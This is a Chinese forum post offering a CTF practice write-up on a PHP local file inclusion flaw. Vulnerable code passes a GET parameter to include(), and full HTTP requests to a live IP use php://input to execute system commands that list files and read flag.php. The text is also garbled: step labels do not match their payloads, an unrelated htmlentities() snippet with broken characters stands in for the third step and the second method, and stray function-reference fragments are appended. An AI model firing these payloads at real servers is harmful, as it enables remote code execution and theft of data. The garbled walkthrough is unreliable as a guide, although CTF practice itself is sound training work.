登录后更精彩...O(∩_∩)O...
您需要 登录 才可以下载或查看,没有账号?立即注册
×
CTF入门小练习5 --- 代码审计(1)
地址:http://118.195.198.108:9998
[Bash shell] 纯文本查看 复制代码 <?php
show_source(__FILE__);
echo $_GET['hello'];
$page=$_GET['page'];
//while (strstr($page, "php://")) {
// $page=str_replace("php://", "", $page);
//}
include($page);
?>
答案:
1. data协议方式获取
(1). 获取web根目录playload:
GET /?page=php://input HTTP/1.1
Host: 118.195.198.108:9998
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Length: 23
<?php system("ls -al");?>
(2). 读出当前路径下的所有文件playload:
GET /?page=php://input HTTP/1.1
Host: 118.195.198.108:9998
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Length: 31
<?php system("cat flag.php");?>
(3). 看到flag文件,读出该文件的内容就能拿到flag值playload: <?php
$str = "<© W3CSçh°°¦§>";
echo htmlentities($str);
?>
php文件包含漏洞小结
https://fenxiang5.cn/forum.php?mod=viewthread&tid=7535&fromuid=6
(出处: 分享屋)
2. php://input协议获取key
[Bash shell] 纯文本查看 复制代码 <!DOCTYPE html>
<html>
<body>
<© W3CSçh°°¦§>
</body>
</html>
PHP[size=2.1em] print_r() 函数
print_r() 函数用于打印变量,以更容易理解的形式展示。
PHP scandir() 函数功能:
scandir() 函数返回指定目录中的文件和目录的数组。
PHP file_get_contents() 函数功能:
file_get_contents() 把整个文件读入一个字符串中。
该函数是用于把文件的内容读入到一个字符串中的首选方法。如果服务器操作系统支持,还会使用内存映射技术来增强性能。
PHP htmlentities() 函数
把一些字符转换为 HTML 实体:
上面代码的 HTML 输出如下(查看源代码):
|